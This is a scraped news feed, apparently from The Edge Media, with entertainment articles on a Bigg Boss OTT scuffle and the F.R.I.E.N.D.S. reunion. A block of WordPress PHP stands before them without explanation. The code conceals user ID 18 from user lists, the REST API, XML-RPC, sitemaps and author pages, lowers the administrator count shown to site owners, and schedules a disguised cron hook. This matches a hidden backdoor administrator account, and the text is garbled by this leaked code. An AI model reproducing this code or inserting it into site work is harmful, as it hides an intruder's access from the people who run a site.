add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Neha Bhasin grabs Prateek Sehajpal by his collar in Bigg Boss OTT appeared first on The Edge Media.
]]>The incident was triggered during the “panchayat task” on Bigg Boss OTT. The contestants were asked to name one pair of co-contestants to be given the title of most “unhygienic connection”. Muskaan aka Moose Jattana was the first one to say, “Milind Gaba aur Neha Bhasin. Sab jagah Neha ka samaan milta hai (Her belongings are found all around the house).”
Soon, every one else named Neha Bhasin as well. Neha Bhasin snapped at Prateek Sehajpal when he named her and said, “Do not insult me in front of everyone.”
Later, Prateek Sehajpal was seen trying to mend ways with Neha but she ignored him. When he started to block her way, she grabbed his collar and pushed him away. “Whatever you are doing is not looking cool, okay? There is a genuine reason (for what I said),” he told her. She replied, “Aap ek number ke jhoothe admi ho (You are a liar).”
When he tried to explain saying, “I treat you as a friend,” she told him, “Yaar, ye dosti hai? Ye dhong mat karo yaar aap. Khatam ho gai aaj se ye dosti (Is this friendship? Please do not pretend, this is the end of this friendship)
Prateek Sehajpal was then seen saying, “If this is how you talk, this is who you are. You are also dangerous to me then.” Bhojpuri star Akshara Singh tried to intervene but Neha Bhasin was upset with her as well and asked her to stay out of it. “You are both liars. I will walk out of this if you insist on talking to me. I feel so bad looking at your faces, it will be better I do not see your faces at all,” she said.
The post Neha Bhasin grabs Prateek Sehajpal by his collar in Bigg Boss OTT appeared first on The Edge Media.
]]>The post F.R.I.E.N.D.S. are back together for the one last time appeared first on The Edge Media.
]]>The show has been designed as an emotional journey in almost a two-hour special, we see the main cast get together in the same space after 17 years, walking the same sets. It is designed for the fans. So, just immerse yourself in the world created by David Crane and Marta Kauffman. There are a few jaw-dropping revelations (which must be out on the internet at this point), and there is a genuine interaction and connection about the way Jennifer Aniston, Courteney Cox, Lisa Kudrow, Matthew Perry, Matt Le Blanc and David Schwimmer looked at each other no tears, no hugs were forced upon. The bond is compelling. Director Ben Winston has done a wonderful job of programming the special as a series of games and chatter, with even a rap show with show costumes ramp show.
The part where Lady Gaga gets to jam with Lisa Kudrow as Phoebe Buffay was fun to watch as well, with the former claiming how Phoebe’s ‘different and vibrant’ personality made some people who didn’t fit in anywhere feel special.
The post F.R.I.E.N.D.S. are back together for the one last time appeared first on The Edge Media.
]]>